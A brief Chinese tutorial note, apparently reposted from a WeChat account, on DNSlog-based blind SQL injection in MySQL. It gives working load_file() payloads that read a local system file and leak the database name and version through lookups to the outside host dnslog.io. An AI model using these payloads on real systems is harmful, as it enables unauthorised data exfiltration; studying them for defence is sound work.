原理
首先需要有一个可以配置的域名,比如:gwsg7.l.dnslog.io,然后通过代理商设置域名 gwsg7.l.dnslog.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 gwsg7.l.dnslog.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了
https://dnslog.io/ 这是一个免费的记录dnslog的平台,访问后会给你一个临时的三级域名:xxx.l.dnslog.io 当我们把注入信息放到四级域名那里,日志会记录下来。
load_file
通过DNSlog盲注需要用到load_file()函数。show variables like '%secure%' 查看load_file()可以读取的磁盘。
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。
在5.7.6之后默认为null,可以自己去my.ini里[mysqld]的添加
尝试读取文件
select load_file('C:\Windows\win.ini');
Sql注入
use mysql;
select load_file(concat('\\\\',(select database()),'.yoz1k.l.dnslog.io\abc'));
成功获取
获取数据库版本
select load_file(concat('\\\\',(select version()),'.yoz1k.l.dnslog.io\abc'));
原文始发于微信公众号(Mo60):DNSlog注入笔记
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论